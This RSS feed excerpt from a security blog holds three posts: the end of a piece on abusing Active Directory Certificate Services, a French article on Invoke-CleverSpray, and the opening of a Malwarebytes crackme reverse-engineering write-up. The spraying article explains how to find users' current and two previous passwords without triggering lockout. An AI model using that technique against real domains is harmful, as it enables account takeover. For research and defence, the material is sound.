<figure id="post-16118 media-16118" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16118 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52.png" alt="" width="598" height="216" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52.png 797w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52-437x158.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/52-768x278.png 768w" sizes="auto, (max-width: 598px) 100vw, 598px" /></figure>
<p style="text-align: center;"><em>Pending certificate request</em></p>
<p><em>&nbsp;</em></p>
<p>The certificate can later be retrieved by the requester with the following commands:</p>
<pre class="w-code">C:\&gt; certreq -retrieve &lt;ID_REQUEST&gt; file.cer
C:\&gt; certreq -accept file.cer</pre>
<p>&nbsp;</p>
<h3><a name="section-4-2-3"></a>Choosing your CA managers</h3>
<p>There are multiple strategies to select who should be able to validate the pending requests, at the ADCS server level:</p>
<ul>
<li>Since the issuance of a malicious certificate allows the compromise of a Tier 0 principal, the ideal solution would be to <span style="color: #005572;"><strong>only allow Tier 0 principals on this role</strong></span>; however, this may complexify the issuance process at a large scale</li>
<li>The alternative is to <span style="color: #005572;"><strong>enable Tier 1 administrators to perform this action</strong></span>: in this case, the groups allowed to request the certificate need to be <strong>completely disjoint</strong> from the groups allowed to approve the requests. Note that even in this situation, control over accounts from both groups is sufficient to take over Tier 0 principals</li>
</ul>
<figure id="post-16134 media-16134" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16134 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61.png" alt="" width="665" height="153" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61.png 1322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61-437x101.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/61-768x177.png 768w" sizes="auto, (max-width: 665px) 100vw, 665px" /></figure>
<p style="text-align: center;"><em>Alternative to Tier-0 validators only</em></p>
<p>&nbsp;</p>
<h2><a name="section-4-3"></a>Adding the detection layer</h2>
<p>The extensive guide about adding an ADCS logging facility would not fit in this article. However, there are some useful resources about how to enable logging and what to log:</p>
<ul>
<li><a href="https://cyberstoph.org/posts/2019/12/an-introduction-to-golden-certificates/">An introduction to Golden Certificates</a> (by C. Falta): the “Defending against Golden Certificate” gives very interesting insight on how to <span style="color: #005572;"><strong>monitor the certificate template changes</strong></span>, which would certainly help in detecting some ACL exploits</li>
<li><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh801901(v=ws.11)">Securing PKI: Monitoring Public Key Infrastructure</a> (by Microsoft): this article is the <span style="color: #005572;"><strong>reference regarding the configuration of ADCS logging </strong></span>and provides information on what event IDs are raised when specific events occur</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p style="text-align: right;">Special thanks to <a href="https://twitter.com/remiescourrou?lang=fr">@RémiEscourrou</a>, <a href="https://twitter.com/cnotin?lang=fr">@ClémentNotin</a> and <a href="https://twitter.com/hackanddo?lang=fr">@Pixis</a> for their help on this subject,<br />
and stay tuned for <a href="https://twitter.com/harmj0y">@harmj0y</a>&#8216;s <a href="https://www.blackhat.com/us-21/briefings/schedule/#certified-pre-owned-abusing-active-directory-certificate-services-23168">presentation at Black Hat US</a> on this topic!</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/">Microsoft ADCS – Abusing PKI in Active Directory Environment</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Invoke-CleverSpray &#8211; Jamais 1 sans 3</title>
		<link>https://www.riskinsight-wavestone.com/en/2019/06/invoke-cleverspray-jamais-1-sans-3/</link>
		
		<dc:creator><![CDATA[François Lelièvre]]></dc:creator>
		<pubDate>Mon, 24 Jun 2019 13:44:58 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[authentification]]></category>
		<category><![CDATA[cleverspray]]></category>
		<category><![CDATA[invoke]]></category>
		<category><![CDATA[mot de passe]]></category>
		<category><![CDATA[utilisateur]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15509</guid>

					<description><![CDATA[<p>Avant l&#8217;existence du niveau fonctionnel Windows Server 2003, lorsqu&#8217;un utilisateur tentait de s&#8217;authentifier à l&#8217;aide d&#8217;un mot de passe n&#8217;étant pas le sien, son nombre de tentative d&#8217;authentification échouée (représenté par l&#8217;attribut &#8220;badPwdCount&#8220;) se voyait automatiquement incrémentée. Depuis l&#8217;introduction du...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/06/invoke-cleverspray-jamais-1-sans-3/">Invoke-CleverSpray &#8211; Jamais 1 sans 3</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15929 media-15929" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-15929" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header.png" alt="" width="640" height="268" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header-71x30.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;">Avant l&#8217;existence du niveau fonctionnel Windows Server 2003, lorsqu&#8217;un utilisateur tentait de s&#8217;authentifier à l&#8217;aide d&#8217;un mot de passe n&#8217;étant pas le sien, son nombre de tentative d&#8217;authentification échouée (représenté par l&#8217;attribut &#8220;<b>badPwdCount</b>&#8220;) se voyait automatiquement incrémentée.</div>
<div style="text-align: justify;">Depuis l&#8217;introduction du niveau fonctionnel Windows Server 2003, lorsqu’un utilisateur essaie de s&#8217;authentifier à l&#8217;aide d&#8217;un de ses deux précédents mots de passe, l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; n&#8217;est plus incrémenté. D&#8217;une part, cette fonctionnalité permet de limiter les verrouillages de comptes utilisateurs dues à des tentatives de connexion émises par des applications suite à une modification de mot de passe non répercutée sur ces dernières (Exchange, Skype, etc.).  D&#8217;autre part, cette évolution a pour objectif de limiter le nombre de verrouillages de comptes utilisateur et ainsi les interventions futiles des équipes de support. En effet, les mauvaises tentatives d&#8217;authentification émanant d&#8217;utilisateurs légitimes sont plus susceptibles d&#8217;être la cause de tentatives d&#8217;authentification à l&#8217;aide de mots de passe précédemment valides.</div>
<h3>Fonctionnement du mécanisme de verrouillage de compte utilisateur</h3>
<div style="text-align: justify;">Différents paramètres interviennent au sein du mécanisme de verrouillage de compte utilisateur :</div>
<div style="text-align: justify;"></div>
<style type="text/css">
    .w-table {<br />        width: 100;<br />        border-spacing: 0;<br />        border-collapse: collapse;<br />    }</p>
<p>    .w-table td {<br />        text-align: center;<br />        border: 1px solid rgb(80, 48, 120);<br />        padding: 5px;<br />    }</p>
<p>    .w-table thead td {<br />        background: rgb(80, 48, 120);<br />        font-weight: bold; color: white;<br />        border-left: 1px solid white;<br />        border-right: 1px solid white;<br />    }</p>
<p>    .w-table thead td:first {<br />        border-left: 1px solid rgb(80, 48, 120);<br />    }</p>
<p>    .w-table thead td:last {<br />        border-right: 1px solid rgb(80, 48, 120);<br />    }<br /></style>
<table class="w-table">
<thead>
<tr>
<td>Attribut Active Directory</td>
<td>Propriété PowerShell</td>
<td>Paramètre de la stratégie de groupe</td>
<td style="width: 15%;">Périmètre</td>
</tr>
</thead>
<tbody>
<tr>
<td>lockoutThreshold</td>
<td>LockoutThreshold</td>
<td>Seuil de verrouillage</td>
<td>Domaine</td>
</tr>
<tr>
<td>lockoutDuration</td>
<td>LockoutDuration</td>
<td>Durée du verrouillage</td>
<td>Domaine</td>
</tr>
<tr>
<td>lockoutObservationWindow</td>
<td>LockoutObservationWindow</td>
<td>Fenêtre d’observation du verrouillage</td>
<td>Domaine</td>
</tr>
<tr>
<td>pwdHistoryLength</td>
<td>PasswordHistoryCount</td>
<td>Nombre de mots de passe antérieurs à conserver</td>
<td>Domaine</td>
</tr>
<tr>
<td>lockoutTime</td>
<td>AccountLockoutTime</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>logonCount</td>
<td>&#8211;</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>pwdLastSet</td>
<td>PasswordLastSet</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>pwdProperties</td>
<td>ComplexityEnabled</td>
<td>Mot de passe doit respecter des exigences de complexité</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>badPwdCount</td>
<td>BadLogonCount</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>badPasswordTime</td>
<td>LastBadPasswordAttempt</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
</tbody>
</table>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La majeure partie de ces attributs disposent d&#8217;un nom autoporteur. Néanmoins, il convient de préciser que la fenêtre d&#8217;observation du verrouillage (&#8220;<b>lockoutObservationWindow</b>&#8220;) ne représente pas la durée pendant laquelle les tentatives d&#8217;authentification infructueuses doivent avoir lieu pour verrouiller un compte, ni le temps nécessaire à la réinitialisation de l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; si aucune tentative infructueuse de connexion n&#8217;est conduite. Au contraire, c&#8217;est la durée nécessaire à la réinitialisation de l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; depuis la dernière mise à jour de l&#8217;attribut &#8220;<b>badPasswordTime</b>&#8220;.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par ailleurs, les attributs &#8220;<b>badPwdCount</b>&#8221; et &#8220;<b>badPasswordTime</b>&#8221; ne sont pas répliqués au sein du domaine mais seulement sauvegardés sur le contrôleur de domaine sur lequel l&#8217;utilisateur essaye de s&#8217;authentifier. Néanmoins, ces attributs sont synchronisés sur le contrôleur de domaine disposant du rôle FSMO d’émulateur de contrôleur principal de domaine (ou PDCe).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Seuls les protocoles Kerberos et NTLM utilisés lors d&#8217;une authentification via mot de passe ou Smart Card bénéficient de cette fonctionnalité (sous réserve que le PDCe soit joignable par le contrôleur de domaine gérant la demande d&#8217;authentification).</div>
<h3>Jamais un sans trois</h3>
<div style="text-align: justify;">Du point de vue d&#8217;un attaquant, cette nouvelle fonctionnalité offre la possibilité d&#8217;attaquer non seulement le mot de passe actuel d&#8217;un utilisateur mais aussi ses deux précédents via la vérification de l&#8217;incrémentation de l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; sur le PDCe suite à une tentative d&#8217;authentification. En effet, si la tentative d&#8217;authentification échoue mais que l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; ne se voit pas incrémenter, alors un mot de passe précédemment valide vient d&#8217;être découvert.</div>
<div style="text-align: justify;">La découverte d&#8217;un mot de passe précédemment utilisé par un utilisateur permet à un attaquant d&#8217;identifier une éventuelle structure de création de mot de passe employée par cet utilisateur, pouvant parfois conduire à la découverte de son mot de passe actuel.</div>
<div style="text-align: justify;">D&#8217;autre part, il est fréquent que des utilisateurs réutilisent leurs anciens mots de passe ; un précédent mot de passe découvert pourrait donc être réemployé par la suite par ce même utilisateur.</div>
<div style="text-align: justify;">Enfin, les anciens mots de passe de domaine découverts peuvent parfois être encore valides sur certains applicatifs se reposant sur un référentiel n&#8217;imposant aucun changement de mot de passe.</div>
<h3>Invoke-CleverSpray &#8211; Script PowerShell automatisant la découverte de mots de passe (actuel, N-1 et N-2)</h3>
<div style="text-align: justify;">Un script a été développé dans le but d&#8217;identifier, outre les mots de passe actuels des utilisateurs d&#8217;un domaine Windows, les mots de passe présents dans les historiques des mots de passe utilisateur :</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15931 media-15931" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-15931" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1.png" alt="" width="640" height="482" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1-254x191.png 254w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1-52x39.png 52w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><a href="https://github.com/wavestone-cdt/Invoke-CleverSpray"><i><span style="font-size: x-small;">https://github.com/wavestone-cdt/Invoke-CleverSpray</span></i></a></div>
<div style="text-align: justify;">Le schéma de fonctionnement de ce dernier est le suivant :</div>
<div style="text-align: justify;">
<ul>
<li>Récupération de la liste des utilisateurs du domaine Windows ou au sein d&#8217;un fichier passé en paramètre ;</li>
<li>Pour chacun des utilisateurs, le contrôleur de domaine disposant du rôle de PDCe va être contacté afin de connaître la valeur initiale de l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; de l&#8217;utilisateur, puis, si cette dernière est inférieure à un seuil défini par l&#8217;attaquant, une tentative de connexion à l&#8217;aide d&#8217;un mot de passe spécifié en paramètre au script (ou présent au sein d&#8217;une liste de mot de passe passée en paramètre) va être tentée ;</li>
<li>Si l&#8217;authentification est réussie :
<ul>
<li>Le mot de passe correspond au mot de passe actuel de l&#8217;utilisateur ciblé ;</li>
</ul>
</li>
</ul>
<ul>
<li>Si l&#8217;authentification échoue :
<ul>
<li>La valeur de l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; va alors être analysée :</li>
<li>Si cette dernière n&#8217;a pas été incrémentée, le mot de passe essayé correspond à un des deux mots de passe précédemment défini par l&#8217;utilisateur</li>
<li>Si cette dernière a été incrémentée, alors le mot de passe ne correspond ni au mot de passe actuel ni a un précédemment mot de passe de l&#8217;utilisateur ciblé. Le script va donc passer à l&#8217;utilisateur suivant afin de poursuivre l&#8217;attaque.</li>
</ul>
</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<p>Il est à noter que le seuil de verrouillage d&#8217;un compte utilisateur ne peut être collecté par un utilisateur standard du domaine. De fait, il convient par sécurité d&#8217;exécuter le script avec une valeur limite de l&#8217;attribut &#8220;<b>badPwdCount</b>&#8221; faible afin d&#8217;éviter tout verrouillage de compte utilisateur.</p>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2019/06/invoke-cleverspray-jamais-1-sans-3/">Invoke-CleverSpray &#8211; Jamais 1 sans 3</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Malwarebytes challenge write-up</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/06/malwarebytes-challenge-write-up/</link>
		
		<dc:creator><![CDATA[Maxime Meignan]]></dc:creator>
		<pubDate>Tue, 12 Jun 2018 09:00:39 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15584</guid>

					<description><![CDATA[<p>Malwarebytes published on April 27th a new reverse engineering challenge, an executable mixing malware behavior with a traditional crackme look. It came in the form of a Windows executable This document describes the solving step of the challenge. Lightweight analysis...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/06/malwarebytes-challenge-write-up/">Malwarebytes challenge write-up</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15585 media-15585" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15585 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1.png" alt="" width="320" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-71x33.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: left;"><span style="text-align: justify;">Malwarebytes published on April 27th a new reverse engineering challenge, an executable mixing malware behavior with a traditional crackme look. It came in the form of a Windows executable</span></div>
<p>This document describes the solving step of the challenge.</p>
<h2><span style="text-align: center;">Lightweight analysis of “mb_crackme_2.exe”</span></h2>
<div style="text-align: justify;">
<p>As we would do with any real malware, we start by performing some basic information gathering on the provided executable. Even if the static and dynamic approaches gave us similar conclusions on the executable’s nature (see 2.4), the different methods have been described nonetheless in the following sections.</p>
<h3>Basic static information gathering</h3>
<p>Using <b>Exeinfo PE</b>, a maintained successor of the renowned (but outdated) <b>PEiD</b> software, gives us some basic information about the binary:</p>
<ul>
<li> The program is a <b>32 bits Portable Executable</b> (PE), meant to be run in console (no GUI);</li>
<li> It seems to be compiled from C++ using Microsoft Visual C++ 8;</li>
<li> No obvious sign of packing is detected by the tool.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15587 media-15587" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15587 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2.png" alt="" width="518" height="255" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2.png 518w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-388x191.png 388w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-71x35.png 71w" sizes="auto, (max-width: 518px) 100vw, 518px" /></figure>
<p><i><span style="font-size: x-small;">Output of Exeinfo PE</span></i>
</div>
<p>Looking for printable strings in the binary already gives us some hints about the executable’s nature:
</p></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="font-family: inherit;"><span style="font-size: small;">$ strings -n 10 mb_crackme_2.exe_
[...]
<span style="color: red;"><b>pyi</b></span>-windows-manifest-filename
[...]
<span style="color: red;"><b>Py</b></span>_IgnoreEnvironmentFlag
Failed to get address for <b><span style="color: red;">Py</span></b>_IgnoreEnvironmentFlag
<span style="color: red;"><b>Py</b></span>_NoSiteFlag
Failed to get address for <span style="color: red;"><b>Py</b></span>_NoSiteFlag
Py_NoUserSiteDirectory
[...]
m<span style="color: red;"><b>pyi</b></span>mod01_os_path
m<span style="color: red;"><b>pyi</b></span>mod02_archive
m<span style="color: red;"><b>pyi</b></span>mod03_importers
s<span style="color: red;"><b>pyi</b></span>boot01_bootstrap
s<span style="color: red;"><b>pyi</b></span>_rth__tkinter
bCrypto.Cipher._AES.<span style="color: red;"><b>pyd</b></span>
bCrypto.Hash._SHA256.<span style="color: red;"><b>pyd</b></span>
bCrypto.Random.OSRNG.winrandom.<span style="color: red;"><b>pyd</b></span>
bCrypto.Util._counter.<span style="color: red;"><b>pyd</b></span>
bMicrosoft.VC90.CRT.manifest
bPIL._imaging.<span style="color: red;"><b>pyd</b></span>
bPIL._imagingtk.<span style="color: red;"><b>pyd</b></span>
[...]
o<span style="color: red;"><b>pyi</b></span>-windows-manifest-filename another.exe.manifest
[...]
zout00-PYZ.<span style="color: red;"><b>pyz</b></span>
<span style="color: red;"><b>python27.dll</b></span></span></span>
</pre>
</div>
<p>Many references to <b>Python libraries</b>, <b>PYZ</b> archives and “<b>pyi</b>” substring indicates the use of the <b>PyInstaller</b> utility to build a PE executable from a Python script.</p>
<h3>Basic dynamic information gathering</h3>
<p>Running the executable (in a sandboxed environment) gives us the following message:</p>
<figure id="post-15672 media-15672" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15672 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1.png" alt="" width="454" height="785" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1.png 454w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1-110x191.png 110w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1-23x39.png 23w" sizes="auto, (max-width: 454px) 100vw, 454px" /></figure>
<figure id="post-15589 media-15589" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Using <b>Process Monitor</b>, from <a href="https://docs.microsoft.com/en-us/sysinternals/">SysInternals Tools Suit</a><a href="https://www.blogger.com/null">e</a> , allows us to quickly get a glimpse of the actions performed by the executable:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-15591 size-full" style="text-align: center;" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4.png" alt="" width="640" height="328" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>A temporary directory named “<b>_MEI5282</b>” is created under user’s “<b>%temp%</b>” directory, and filled with <b>Python-related resources</b>. In particular, “<b>python27.dll</b>” and “<b>*.pyd</b>” libraries are written and later loaded by the executable.</p>
<p>This behavior is typical of executables generated by PyInstaller.
</p></div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<figure id="post-15593 media-15593" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15593 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5.png" alt="" width="640" height="312" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-392x191.png 392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-71x35.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<h3 style="text-align: justify;">Error-handling analysis</h3>
<div style="text-align: justify;">Without tools, it is often possible to quickly get information about a binary’s internals by <b>testing its error handling</b>. For example, inserting an <b>EOF</b> (End-Of-File) signal in the terminal (“Ctrl+Z + Return” on Windows Command Prompt) makes the program crash, printing the following information:</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15595 media-15595" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15595 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6.png" alt="" width="461" height="262" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6.png 461w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-69x39.png 69w" sizes="auto, (max-width: 461px) 100vw, 461px" /></figure>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Python stack trace printed after a crash</span></i></div>
<p>This allows us to identify the presence of a Python program embedded inside the executable and gives us the name of the main script:<b> another.py.</b> The error message “[$PID] Failed to execute script $scriptName” is typical of <b>PyInstaller</b>-produced programs.
</div>
<h3 style="text-align: justify;">Python files extraction and decompilation</h3>
<div style="text-align: justify;">Every lightweight analysis presented previously points out that the executable has been built using <b>PyInstaller</b>.<br />
The <a href="https://0xec.blogspot.fr/2017/11/pyinstaller-extractor-updated-to-v19.html"><b>PyInstaller Extractor</b></a>  program can be used to extract python-compiled resources from the executable.</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ python pyinstxtractor.py mb_crackme_2.exe
[*] Processing mb_crackme_2.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 8531014 bytes
[*] Found 931 files in CArchive
[*] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap
[+] Possible entry point: pyi_rth__tkinter
[+] Possible entry point: <b><span style="color: red;">another</span></b>
[*] Found 440 files in PYZ archive
[*] Successfully extracted pyinstaller archive: mb_crackme_2.exe

You can now use a python decompiler on the pyc files within the extracted directory</pre>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">As previously seen, the most interesting file is “<b>another</b>”, as it should contain the “main” function.</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15597 media-15597" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15597 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7.png" alt="" width="400" height="88" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-71x16.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Files extracted by PyInstaller Extractor</span></i></div>
<p>&nbsp;
</p></div>
<div style="text-align: justify;">A quick <a href="https://hshrzd.wordpress.com/2018/01/26/solving-a-pyinstaller-compiled-crackme/">Internet search</a>  informs us that in a PYZ archive, the main file is in fact a *<b>.pyc file</b> (Python bytecode) from which the<b> first 8 bytes</b>, containing its signature, <b>have been removed</b>. Looking the hex dump of <b>another *.pyc </b>file of the archive confirms this statement and gives us the correct signature for Python 2.7 bytecode files (in purple).</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ hexdump -C another | head -n 3
00000000  <span style="color: red;"><b>63 00 00 00 00 00 00 00  00 03 00 00 00 40 00 00</b></span>  |c............@..|
00000010  00 73 03 02 00 00 64 00  00 5a 00 00 64 01 00 5a  |.s....d..Z..d..Z|
00000020  01 00 64 02 00 5a 02 00  64 03 00 64 04 00 6c 03  |..d..Z..d..d..l.|
$ hexdump -C out00-PYZ.pyz_extracted/cmd.pyc | head -n 3
00000000  <b><span style="color: purple;">03 f3 0d 0a 00 00 00 00</span></b>  <span style="color: red;"><b>63 00 00 00 00 00 00 00</b></span>  |.ó......c.......|
00000010  <span style="color: red;"><b>00 03 00 00 00 40 00 00</b></span>  00 73 4c 00 00 00 64 00  |.....@...sL...d.|
00000020  00 5a 00 00 64 01 00 64  02 00 6c 01 00 5a 01 00  |.Z..d..d..l..Z..|</pre>
</div>
<p>Restoring the file’s signature produces a correct Python bytecode file.</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ cat &lt;(printf "\x03\xf3\x0d\x0a\x00\x00\x00\x00") another &gt; another.pyc
$ file another.pyc
another.pyc: python 2.7 byte-compiled</pre>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Using the <a href="https://github.com/rocky/python-uncompyle6">uncompyle6</a>  decompilation tool, we can easily recover the original source code of <b>another.py</b>.</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ uncompyle6 another.pyc &gt; another.py</pre>
</div>
<div style="text-align: justify;"></div>
<h1 style="text-align: justify;">Stage 1: login</h1>
<div style="text-align: justify;">Looking at the <b>main()</b> function of <b>another.py</b>, we see that the first operations are performed by the <b>stage1_login()</b> function.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def</span> <span style="color: magenta;">main</span>():
    key = <span style="color: red;">stage1_login</span>()
    <span style="color: blue;">if not</span> check_if_next(key):
        <span style="color: blue;">return</span>
    <span style="color: blue;">else</span>:
        content = decode_and_fetch_url(key)
        <span style="color: blue;">if </span>content <span style="color: blue;">is None</span>:
            <span style="color: blue;">print </span><span style="color: #666666;">'Could not fetch the content'</span>
            <span style="color: blue;">return </span>-<span style="color: red;">1</span>
        decdata = get_encoded_data(content)
        <span style="color: blue;">if not </span>is_valid_payl(decdata):
            <span style="color: blue;">return </span>-<span style="color: red;">3</span>
        <span style="color: blue;">print </span>colorama.Style.BRIGHT + colorama.Fore.CYAN
        <span style="color: blue;">print </span><span style="color: #666666;">'Level #2: Find the secret console...'</span>
        <span style="color: blue;">print </span>colorama.Style.RESET_ALL
        <span style="color: #6aa84f;">#load_level2(decdata, len(decdata))</span>
        dump_shellcode(decdata, len(decdata))
        user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'You did it, level up!'</span>, 'Congrats!', <span style="color: red;">0</span>)
        <span style="color: blue;">try</span>:
            <span style="color: blue;">if </span>decode_pasted() == <span style="color: blue;">True</span>:
                user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'''Congratulations! Now save your flag
and send it to Malwarebytes!'''</span>, <span style="color: #666666;">'You solved it!'</span>, <span style="color: red;">0</span>)
